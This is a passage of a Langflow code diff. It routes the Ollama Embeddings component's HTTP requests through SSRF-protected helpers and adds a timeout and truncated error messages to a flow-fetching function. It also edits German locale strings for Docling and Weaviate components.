isinstance(parsed, dict):\n return DataFrame([parsed])\n\n # For primitive types, create a single-column DataFrame\n return DataFrame([{\"value\": parsed}])\n\n @property\n def headers(self) -> dict[str, str] | None:\n \"\"\"Get the headers for the Ollama API.\"\"\"\n if self.api_key and self.api_key.strip():\n return {\"Authorization\": f\"Bearer {self.api_key}\"}\n return None\n" }, "enable_structured_output": { "_input_type": "BoolInput", @@ -4910,7 +4910,7 @@ "legacy": false, "lf_version": "1.8.1", "metadata": { - "code_hash": "d4c157f88e5d", + "code_hash": "9ba9e798bf19", "dependencies": { "dependencies": [ { @@ -5015,7 +5015,7 @@ "show": true, "title_case": false, "type": "code", - "value": "import asyncio\nfrom typing import Any\nfrom urllib.parse import urljoin\n\nimport httpx\nfrom langchain_ollama import OllamaEmbeddings\nfrom lfx.base.models.model import LCModelComponent\nfrom lfx.field_typing import Embeddings\nfrom lfx.io import DropdownInput, Output, SecretStrInput, StrInput\nfrom lfx.log.logger import logger\nfrom lfx.utils.util import transform_localhost_url\n\nHTTP_STATUS_OK = 200\n\n\nclass OllamaEmbeddingsComponent(LCModelComponent):\n display_name: str = \"Ollama Embeddings\"\n description: str = \"Generate embeddings using Ollama models.\"\n documentation = \"https://python.langchain.com/docs/integrations/text_embedding/ollama\"\n icon = \"Ollama\"\n name = \"OllamaEmbeddings\"\n\n # Define constants for JSON keys\n JSON_MODELS_KEY = \"models\"\n JSON_NAME_KEY = \"name\"\n JSON_CAPABILITIES_KEY = \"capabilities\"\n EMBEDDING_CAPABILITY = \"embedding\"\n\n inputs = [\n DropdownInput(\n name=\"model_name\",\n display_name=\"Ollama Model\",\n value=\"\",\n options=[],\n real_time_refresh=True,\n refresh_button=True,\n combobox=True,\n required=True,\n ),\n StrInput(\n name=\"base_url\",\n display_name=\"Ollama Base URL\",\n info=\"Endpoint of the Ollama API. Defaults to http://localhost:11434.\",\n value=\"http://localhost:11434\",\n required=True,\n real_time_refresh=True,\n ),\n SecretStrInput(\n name=\"api_key\",\n display_name=\"Ollama API Key\",\n info=\"Your Ollama API key.\",\n value=None,\n required=False,\n real_time_refresh=True,\n advanced=True,\n ),\n ]\n\n outputs = [\n Output(display_name=\"Embeddings\", name=\"embeddings\", method=\"build_embeddings\"),\n ]\n\n @property\n def headers(self) -> dict[str, str] | None:\n \"\"\"Get the headers for the Ollama API.\"\"\"\n if self.api_key and self.api_key.strip():\n return {\"Authorization\": f\"Bearer {self.api_key}\"}\n return None\n\n def build_embeddings(self) -> Embeddings:\n transformed_base_url = transform_localhost_url(self.base_url)\n\n # Strip /v1 suffix if present\n if transformed_base_url and transformed_base_url.rstrip(\"/\").endswith(\"/v1\"):\n transformed_base_url = transformed_base_url.rstrip(\"/\").removesuffix(\"/v1\")\n logger.warning(\n \"Detected '/v1' suffix in base URL. The Ollama component uses the native Ollama API, \"\n \"not the OpenAI-compatible API. The '/v1' suffix has been automatically removed. \"\n \"If you want to use the OpenAI-compatible API, please use the OpenAI component instead. \"\n \"Learn more at https://docs.ollama.com/openai#openai-compatibility\"\n )\n\n llm_params = {\n \"model\": self.model_name,\n \"base_url\": transformed_base_url,\n }\n\n if self.headers:\n llm_params[\"client_kwargs\"] = {\"headers\": self.headers}\n\n try:\n output = OllamaEmbeddings(**llm_params)\n except Exception as e:\n msg = (\n \"Unable to connect to the Ollama API. \"\n \"Please verify the base URL, ensure the relevant Ollama model is pulled, and try again.\"\n )\n raise ValueError(msg) from e\n return output\n\n async def update_build_config(self, build_config: dict, field_value: Any, field_name: str | None = None):\n if field_name in {\"base_url\", \"model_name\"} and not await self.is_valid_ollama_url(self.base_url):\n msg = \"Ollama is not running on the provided base URL. Please start Ollama and try again.\"\n raise ValueError(msg)\n if field_name in {\"model_name\", \"base_url\"}:\n # Use field_value if base_url is being updated, otherwise use self.base_url\n base_url_to_check = field_value if field_name == \"base_url\" else self.base_url\n # Fallback to self.base_url if field_value is None or empty\n if not base_url_to_check and field_name == \"base_url\":\n base_url_to_check = self.base_url\n logger.warning(f\"Fetching Ollama models from updated URL: {base_url_to_check}\")\n\n if base_url_to_check and await self.is_valid_ollama_url(base_url_to_check):\n build_config[\"model_name\"][\"options\"] = await self.get_model(base_url_to_check)\n else:\n build_config[\"model_name\"][\"options\"] = []\n\n return build_config\n\n async def get_model(self, base_url_value: str) -> list[str]:\n \"\"\"Get the model names from Ollama.\"\"\"\n try:\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n base_url = base_url_value.rstrip(\"/\").removesuffix(\"/v1\")\n if not base_url.endswith(\"/\"):\n base_url = base_url + \"/\"\n base_url = transform_localhost_url(base_url)\n\n # Ollama REST API to return models\n tags_url = urljoin(base_url, \"api/tags\")\n\n # Ollama REST API to return model capabilities\n show_url = urljoin(base_url, \"api/show\")\n\n async with httpx.AsyncClient() as client:\n headers = self.headers\n # Fetch available models\n tags_response = await client.get(url=tags_url, headers=headers)\n tags_response.raise_for_status()\n models = tags_response.json()\n if asyncio.iscoroutine(models):\n models = await models\n await logger.adebug(f\"Available models: {models}\")\n\n # Filter models that are embedding models\n model_ids = []\n for model in models[self.JSON_MODELS_KEY]:\n model_name = model[self.JSON_NAME_KEY]\n await logger.adebug(f\"Checking model: {model_name}\")\n\n payload = {\"model\": model_name}\n show_response = await client.post(url=show_url, json=payload, headers=headers)\n show_response.raise_for_status()\n json_data = show_response.json()\n if asyncio.iscoroutine(json_data):\n json_data = await json_data\n\n capabilities = json_data.get(self.JSON_CAPABILITIES_KEY, [])\n await logger.adebug(f\"Model: {model_name}, Capabilities: {capabilities}\")\n\n if self.EMBEDDING_CAPABILITY in capabilities:\n model_ids.append(model_name)\n\n except (httpx.RequestError, ValueError) as e:\n msg = \"Could not get model names from Ollama.\"\n raise ValueError(msg) from e\n\n return model_ids\n\n async def is_valid_ollama_url(self, url: str) -> bool:\n try:\n async with httpx.AsyncClient() as client:\n url = transform_localhost_url(url)\n if not url:\n return False\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n url = url.rstrip(\"/\").removesuffix(\"/v1\")\n if not url.endswith(\"/\"):\n url = url + \"/\"\n return (\n await client.get(url=urljoin(url, \"api/tags\"), headers=self.headers)\n ).status_code == HTTP_STATUS_OK\n except httpx.RequestError:\n return False\n" + "value": "import asyncio\nfrom typing import Any\nfrom urllib.parse import urljoin\n\nimport httpx\nfrom langchain_ollama import OllamaEmbeddings\nfrom lfx.base.models.model import LCModelComponent\nfrom lfx.field_typing import Embeddings\nfrom lfx.io import DropdownInput, Output, SecretStrInput, StrInput\nfrom lfx.log.logger import logger\nfrom lfx.utils.ssrf_httpx import (\n ssrf_protected_httpx_client_kwargs_for_url,\n ssrf_safe_async_get,\n ssrf_safe_async_post,\n)\nfrom lfx.utils.ssrf_protection import SSRFProtectionError\nfrom lfx.utils.util import transform_localhost_url\n\nHTTP_STATUS_OK = 200\n\n\nclass OllamaEmbeddingsComponent(LCModelComponent):\n display_name: str = \"Ollama Embeddings\"\n description: str = \"Generate embeddings using Ollama models.\"\n documentation = \"https://python.langchain.com/docs/integrations/text_embedding/ollama\"\n icon = \"Ollama\"\n name = \"OllamaEmbeddings\"\n\n # Define constants for JSON keys\n JSON_MODELS_KEY = \"models\"\n JSON_NAME_KEY = \"name\"\n JSON_CAPABILITIES_KEY = \"capabilities\"\n EMBEDDING_CAPABILITY = \"embedding\"\n\n inputs = [\n DropdownInput(\n name=\"model_name\",\n display_name=\"Ollama Model\",\n value=\"\",\n options=[],\n real_time_refresh=True,\n refresh_button=True,\n combobox=True,\n required=True,\n ),\n StrInput(\n name=\"base_url\",\n display_name=\"Ollama Base URL\",\n info=\"Endpoint of the Ollama API. Defaults to http://localhost:11434.\",\n value=\"http://localhost:11434\",\n required=True,\n real_time_refresh=True,\n ),\n SecretStrInput(\n name=\"api_key\",\n display_name=\"Ollama API Key\",\n info=\"Your Ollama API key.\",\n value=None,\n required=False,\n real_time_refresh=True,\n advanced=True,\n ),\n ]\n\n outputs = [\n Output(display_name=\"Embeddings\", name=\"embeddings\", method=\"build_embeddings\"),\n ]\n\n @property\n def headers(self) -> dict[str, str] | None:\n \"\"\"Get the headers for the Ollama API.\"\"\"\n if self.api_key and self.api_key.strip():\n return {\"Authorization\": f\"Bearer {self.api_key}\"}\n return None\n\n def build_embeddings(self) -> Embeddings:\n transformed_base_url = transform_localhost_url(self.base_url)\n\n # Strip /v1 suffix if present\n if transformed_base_url and transformed_base_url.rstrip(\"/\").endswith(\"/v1\"):\n transformed_base_url = transformed_base_url.rstrip(\"/\").removesuffix(\"/v1\")\n logger.warning(\n \"Detected '/v1' suffix in base URL. The Ollama component uses the native Ollama API, \"\n \"not the OpenAI-compatible API. The '/v1' suffix has been automatically removed. \"\n \"If you want to use the OpenAI-compatible API, please use the OpenAI component instead. \"\n \"Learn more at https://docs.ollama.com/openai#openai-compatibility\"\n )\n\n sync_client_kwargs, async_client_kwargs = ssrf_protected_httpx_client_kwargs_for_url(transformed_base_url)\n\n llm_params = {\n \"model\": self.model_name,\n \"base_url\": transformed_base_url,\n }\n\n if sync_client_kwargs:\n llm_params[\"sync_client_kwargs\"] = sync_client_kwargs\n if async_client_kwargs:\n llm_params[\"async_client_kwargs\"] = async_client_kwargs\n if self.headers:\n llm_params[\"client_kwargs\"] = {\"headers\": self.headers}\n\n try:\n output = OllamaEmbeddings(**llm_params)\n except Exception as e:\n msg = (\n \"Unable to connect to the Ollama API. \"\n \"Please verify the base URL, ensure the relevant Ollama model is pulled, and try again.\"\n )\n raise ValueError(msg) from e\n return output\n\n async def update_build_config(self, build_config: dict, field_value: Any, field_name: str | None = None):\n if field_name in {\"base_url\", \"model_name\"} and not await self.is_valid_ollama_url(self.base_url):\n msg = \"Ollama is not running on the provided base URL. Please start Ollama and try again.\"\n raise ValueError(msg)\n if field_name in {\"model_name\", \"base_url\"}:\n # Use field_value if base_url is being updated, otherwise use self.base_url\n base_url_to_check = field_value if field_name == \"base_url\" else self.base_url\n # Fallback to self.base_url if field_value is None or empty\n if not base_url_to_check and field_name == \"base_url\":\n base_url_to_check = self.base_url\n logger.warning(f\"Fetching Ollama models from updated URL: {base_url_to_check}\")\n\n if base_url_to_check and await self.is_valid_ollama_url(base_url_to_check):\n build_config[\"model_name\"][\"options\"] = await self.get_model(base_url_to_check)\n else:\n build_config[\"model_name\"][\"options\"] = []\n\n return build_config\n\n async def get_model(self, base_url_value: str) -> list[str]:\n \"\"\"Get the model names from Ollama.\"\"\"\n try:\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n base_url = base_url_value.rstrip(\"/\").removesuffix(\"/v1\")\n if not base_url.endswith(\"/\"):\n base_url = base_url + \"/\"\n base_url = transform_localhost_url(base_url)\n\n # Ollama REST API to return models\n tags_url = urljoin(base_url, \"api/tags\")\n\n # Ollama REST API to return model capabilities\n show_url = urljoin(base_url, \"api/show\")\n\n headers = self.headers\n # Fetch available models\n tags_response = await ssrf_safe_async_get(tags_url, headers=headers)\n tags_response.raise_for_status()\n models = tags_response.json()\n if asyncio.iscoroutine(models):\n models = await models\n await logger.adebug(f\"Available models: {models}\")\n\n # Filter models that are embedding models\n model_ids = []\n for model in models[self.JSON_MODELS_KEY]:\n model_name = model[self.JSON_NAME_KEY]\n await logger.adebug(f\"Checking model: {model_name}\")\n\n payload = {\"model\": model_name}\n show_response = await ssrf_safe_async_post(show_url, json=payload, headers=headers)\n show_response.raise_for_status()\n json_data = show_response.json()\n if asyncio.iscoroutine(json_data):\n json_data = await json_data\n\n capabilities = json_data.get(self.JSON_CAPABILITIES_KEY, [])\n await logger.adebug(f\"Model: {model_name}, Capabilities: {capabilities}\")\n\n if self.EMBEDDING_CAPABILITY in capabilities:\n model_ids.append(model_name)\n\n except SSRFProtectionError as e:\n msg = f\"SSRF Protection: {e}\"\n raise ValueError(msg) from e\n except (httpx.RequestError, ValueError) as e:\n msg = \"Could not get model names from Ollama.\"\n raise ValueError(msg) from e\n\n return model_ids\n\n async def is_valid_ollama_url(self, url: str) -> bool:\n try:\n url = transform_localhost_url(url)\n if not url:\n return False\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n url = url.rstrip(\"/\").removesuffix(\"/v1\")\n if not url.endswith(\"/\"):\n url = url + \"/\"\n response = await ssrf_safe_async_get(urljoin(url, \"api/tags\"), headers=self.headers)\n except SSRFProtectionError as e:\n msg = f\"SSRF Protection: {e}\"\n raise ValueError(msg) from e\n except httpx.RequestError:\n return False\n else:\n return response.status_code == HTTP_STATUS_OK\n" }, "model_name": { "_input_type": "DropdownInput", diff --git a/src/backend/base/langflow/load/utils.py b/src/backend/base/langflow/load/utils.py index c4ab1fba26..3ba5c99448 100644 --- a/src/backend/base/langflow/load/utils.py +++ b/src/backend/base/langflow/load/utils.py @@ -3,6 +3,11 @@ from lfx.load.utils import UploadError, replace_tweaks_with_env, upload, upload_ from langflow.services.database.models.flow.model import FlowBase +GET_FLOW_TIMEOUT = 30.0 +# Cap how much of an error response body is embedded in the raised UploadError +# so a large upstream error page (e.g. an HTML 500) can't bloat logs/messages. +GET_FLOW_ERROR_BODY_LIMIT = 500 + def get_flow(url: str, flow_id: str): """Get the details of a flow from Langflow. @@ -20,10 +25,23 @@ def get_flow(url: str, flow_id: str): """ try: flow_url = f"{url}/api/v1/flows/{flow_id}" - response = httpx.get(flow_url) + response = httpx.get(flow_url, timeout=GET_FLOW_TIMEOUT) if response.status_code == httpx.codes.OK: json_response = response.json() return FlowBase(**json_response).model_dump() + response_text = response.text or "" + msg = f"Error retrieving flow: {response.status_code}" + if response_text: + truncated = response_text[:GET_FLOW_ERROR_BODY_LIMIT] + if len(response_text) > GET_FLOW_ERROR_BODY_LIMIT: + truncated = f"{truncated}... (truncated)" + msg = f"{msg} - {truncated}" + raise UploadError(msg) + except UploadError: + raise + except httpx.TimeoutException as e: + msg = f"Error retrieving flow: request timed out after {GET_FLOW_TIMEOUT}s" + raise UploadError(msg) from e except Exception as e: msg = f"Error retrieving flow: {e}" raise UploadError(msg) from e diff --git a/src/backend/base/langflow/locales/de.json b/src/backend/base/langflow/locales/de.json index b3862678e3..dce859c6bb 100644 --- a/src/backend/base/langflow/locales/de.json +++ b/src/backend/base/langflow/locales/de.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "Tabelle", "components.chroma.outputs.search_results.display_name.39414102": "Suchergebnisse", "components.chroma.outputs.search_results.info.c3d7164d": "Führt eine semantische Ähnlichkeitssuche im Vektorspeicher durch, um relevante Dokumente/Dateien zu finden. Eingabe: Eine Suchanfrage in natürlicher Sprache (Zeichenkette). Rückgabewert: Eine Liste von Datenobjekten (Wörterbücher). Jedes Ergebnis hat folgende Struktur: {'data': {'text': '...', ...}}. Das Feld „text“ enthält immer den Inhalt des gefundenen Dokuments. Weitere Metadatenfelder hängen davon ab, was indiziert wurde (können unter anderem folgende Felder umfassen: „file_path“, „source“, „page“ usw.). WICHTIG: Um Metadaten wie „file_path“ zu extrahieren, verwenden Sie: `result['data'].get('file_path')` oder ` result.data.get ('file_path')`. Überprüfen Sie, welche Felder verfügbar sind, indem Sie result['data'].keys() oder das erste Suchergebnis betrachten.", - "components.chunkdoclingdocument.description.44e35996": "Verwenden Sie die „ DocumentDocument “-Chunker, um das Dokument in Abschnitte zu unterteilen.", - "components.chunkdoclingdocument.display_name.1722f954": "Chunk- DoclingDocument", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "Überschriften immer anzeigen", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "Auch für leere Abschnitte Überschriften anzeigen.", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "Chunker", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "Welchen Chunker soll man verwenden?", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON oder Tabelle", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "Die Daten mit den Dokumenten, die in Teile aufgeteilt werden sollen.", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Dokumenten-Schlüssel", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "Der Schlüssel für die Spalte „ DoclingDocument “.", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "Bezeichnung des HF-Modells", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "Modellname des Tokenizers, der mit dem „ HybridChunker “ verwendet werden soll, wenn „ Hugging Face “ als Tokenizer ausgewählt wird.", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "Maximale Anzahl an Tokens", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "Maximale Anzahl an Token für das „ HybridChunker “.", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "Peers zusammenführen", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "Kombiniere zu kleine Blöcke, die dieselben relevanten Metadaten aufweisen.", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI Modellname", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "Modellname des Tokenizers, der mit dem „ HybridChunker “ verwendet werden soll, wenn „ OpenAI “ als Tokenizer ausgewählt wird.", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "Einbindung", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "Welcher Tokenizer-Anbieter?", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabelle", "components.cleanlabevaluator.description.ba9ff1dd": "Wertet jede LLM-Antwort mithilfe von Cleanlab aus und gibt einen Vertrauenswert sowie eine Erklärung aus.", "components.cleanlabevaluator.display_name.acc5fbce": "Cleanlab-Evaluator", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Cleanlab-API-Schlüssel", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "Multithreading verwenden", "components.directory.inputs.use_multithreading.info.abb48948": "Wenn dies zutrifft, wird Multithreading verwendet.", "components.directory.outputs.dataframe.display_name.d04e5590": "Geladene Dateien", - "components.doclinginline.description.8eb32adf": "Verwendet Docling zur Verarbeitung von Eingabedokumenten, wobei die Docling-Modelle lokal ausgeführt werden.", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "Serverdatei nach der Verarbeitung löschen", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "Falls zutreffend, wird der Server-Dateipfad nach der Verarbeitung gelöscht.", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "Bildklassifizierung", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "Wenn diese Option aktiviert ist, klassifiziert die Docling-Pipeline die Bildtypen.", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "Dateipfad auf dem Server", - "components.doclinginline.inputs.file_path.info.27812dd6": "Datenobjekt mit einer Eigenschaft „file_path“, die auf eine Serverdatei verweist, oder ein Message-Objekt mit einem Pfad zu der Datei. Ersetzt „Path“, unterstützt jedoch dieselben Dateiformate.", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Nicht näher bezeichnete Dateien ignorieren", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "Falls zutreffend, werden Daten ohne die Eigenschaft „file_path“ ignoriert.", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "Nicht unterstützte Erweiterungen ignorieren", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "Wenn diese Option aktiviert ist, werden Dateien mit nicht unterstützten Dateiendungen nicht verarbeitet.", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "OCR-Engine", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "Zu verwendende OCR-Engine. Keine dieser Optionen deaktiviert die OCR-Funktion.", - "components.doclinginline.inputs.path.display_name.abc7e989": "Dateien", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "Bildbeschreibung LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "Falls verbunden, das Modell, das für die Ausführung der Bildbeschreibungsaufgabe verwendet werden soll.", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "Aufforderung zur Bildbeschreibung", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "Die Benutzeraufforderung, die beim Aufruf des Modells angezeigt werden soll.", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "Pipeline", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Docling-Pipeline verwenden", - "components.doclinginline.inputs.separator.display_name.be237eda": "Trennzeichen", - "components.doclinginline.inputs.separator.info.d54570fc": "Geben Sie das Trennzeichen an, das zwischen mehreren Ausgaben im Nachrichtenformat verwendet werden soll.", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "Unauffällige Fehler", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "Wenn dies zutrifft, lösen Fehler keine Ausnahme aus.", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "Dateien", - "components.doclingremote.description.71394d2e": "Verwendet Docling zur Verarbeitung von Eingabedokumenten, indem eine Verbindung zu Ihrer Instanz von Docling Serve hergestellt wird.", - "components.doclingremote.display_name.ddeb3f89": "Docling Serve", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "HTTP-Header", - "components.doclingremote.inputs.api_headers.info.47c263b2": "Optionales Verzeichnis mit zusätzlichen Headern, die für die Verbindung mit Docling Serve erforderlich sind.", - "components.doclingremote.inputs.api_url.display_name.8be89710": "Serveradresse", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL der Docling-Serve-Instanz.", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "Serverdatei nach der Verarbeitung löschen", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "Falls zutreffend, wird der Server-Dateipfad nach der Verarbeitung gelöscht.", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Docling-Optionen", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "Optionales Verzeichnis mit zusätzlichen Optionen. Weitere Informationen finden Sie unter https://github.com/docling-project/docling-serve/blob/main/docs/usage.md.", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "Dateipfad auf dem Server", - "components.doclingremote.inputs.file_path.info.27812dd6": "Datenobjekt mit einer Eigenschaft „file_path“, die auf eine Serverdatei verweist, oder ein Message-Objekt mit einem Pfad zu der Datei. Ersetzt „Path“, unterstützt jedoch dieselben Dateiformate.", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Nicht näher bezeichnete Dateien ignorieren", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "Falls zutreffend, werden Daten ohne die Eigenschaft „file_path“ ignoriert.", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "Nicht unterstützte Erweiterungen ignorieren", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "Wenn diese Option aktiviert ist, werden Dateien mit nicht unterstützten Dateiendungen nicht verarbeitet.", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "Nebenläufigkeit", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "Maximale Anzahl gleichzeitiger Anfragen für den Server.", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "Maximale Abfragezeit", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "Maximale Wartezeit bis zum Abschluss der Dokumentkonvertierung.", - "components.doclingremote.inputs.path.display_name.abc7e989": "Dateien", - "components.doclingremote.inputs.separator.display_name.be237eda": "Trennzeichen", - "components.doclingremote.inputs.separator.info.d54570fc": "Geben Sie das Trennzeichen an, das zwischen mehreren Ausgaben im Nachrichtenformat verwendet werden soll.", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "Unauffällige Fehler", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "Wenn dies zutrifft, lösen Fehler keine Ausnahme aus.", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "Dateien", "components.dotenv.description.8634f572": ".env-Datei in Umgebungsvariablen laden", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "Inhalt der Dotenv-Datei", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "Ähnliche Anzahl an Ergebnissen", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "Autoprompt verwenden", "components.exasearch.outputs.tools.display_name.ea93d6a2": "Dienstprogramme", - "components.exportdoclingdocument.description.413a23c6": "DoclingDocument en in Markdown, HTML oder andere Formate exportieren.", - "components.exportdoclingdocument.display_name.f9c3a19c": "Export- DoclingDocument", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON oder Tabelle", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "Die Daten sowie die zu exportierenden Dokumente.", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Dokumenten-Schlüssel", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "Der Schlüssel für die Spalte „ DoclingDocument “.", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "Exportformat", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "Wählen Sie das Exportformat aus, um die Eingabe zu konvertieren.", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "Bild-Exportmodus", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "Legen Sie fest, wie Bilder in der Ausgabe exportiert werden sollen. „Platzhalter“ ersetzt die Bilder durch eine Zeichenfolge, während „Eingebettet“ sie als base64 -kodierte Bilder einbindet.", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "Platzhalter für Bild", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "Geben Sie den Bild-Platzhalter für Markdown-Exporte an.", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "Platzhalter für Seitenumbruch", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "Füge diesen Platzhalter zwischen den Seiten in der Markdown-Ausgabe ein.", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "Exportierte Daten", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabelle", "components.extractakey.description.2568af44": "Extrahiere einen bestimmten Schlüssel aus einem Data-Objekt oder einer Liste von Data-Objekten und gib den/die extrahierten Wert(e) als Data-Objekt(e) zurück.", "components.extractakey.display_name.0c6e10b0": "Schlüssel extrahieren", "components.extractakey.inputs.data_input.display_name.86fe6201": "Dateneingabe", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "Die Vorlage, die zur Formatierung der Daten verwendet werden soll. Es kann die Schlüssel „ {text} “, „ {sender} “ oder einen beliebigen anderen Schlüssel in den Nachrichtendaten enthalten.", "components.memory.outputs.dataframe.display_name.16d1c905": "Tabelle", "components.memory.outputs.messages_text.display_name.04d7b483": "Nachrichten", - "components.memorybase.description.49825d5a": "Lade den Chat-Speicher aus einer an diesen Ablauf angehängten Speicherbasis ab. Standardmäßig erfolgt die Eingrenzung auf die aktuelle Sitzung; deaktivieren Sie „Nach Sitzung filtern“, um alle Sitzungen abzurufen, die in diese Memory Base eingelesen wurden.", + "components.memorybase.description.03cd3f8b": "Langzeitdaten aus einer an diesen Workflow angehängten Memory Base abrufen. Wenn „Nach Sitzung filtern“ deaktiviert ist, werden Abfragen über alle Sitzungen hinweg ausgeführt.", "components.memorybase.display_name.6c40130b": "Speicherbasis", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "Nach Sitzung filtern", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "Wenn diese Option aktiviert ist, werden nur die Speicherinhalte der aktuellen Sitzung abgerufen. Deaktivieren Sie diese Option, um den Abruf über alle in diese Memory Base eingelesenen Sitzungen hinweg zu ermöglichen (nützlich für den Abruf über mehrere Konversationen hinweg).", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "Weaviate", "components.weaviate.inputs.api_key.display_name.23189d55": "API-Schlüssel", "components.weaviate.inputs.embedding.display_name.4c1a0852": "Einbettung", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "GRPC-Host", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC Host für eine selbst gehostete Weaviate-Instanz. Standardmäßig ist der Host „ URL “ eingestellt. Wird bei der Verbindung mit der Weaviate Cloud ignoriert.", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC Hafen", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC Port für eine selbst gehostete Weaviate-Instanz. Wird bei der Verbindung mit der Weaviate Cloud ignoriert.", "components.weaviate.inputs.index_name.display_name.0f53d21d": "Indexname", "components.weaviate.inputs.index_name.info.b595f2c9": "Der Indexname muss großgeschrieben werden.", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "Daten aufnehmen", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "Anzahl Ergebnisse", "components.weaviate.inputs.number_of_results.info.5232e01a": "Anzahl der zurückzugebenden Ergebnisse.", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "Suche nach Text", + "components.weaviate.inputs.search_by_text.info.a58c521e": "Wird aus Gründen der Abwärtskompatibilität beibehalten. Der Weaviate-Client „ v4 “ wählt automatisch zwischen der Stichwort- und der Vektorsuche, je nachdem, ob eine Einbettung vorliegt.", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "Suchanfrage", 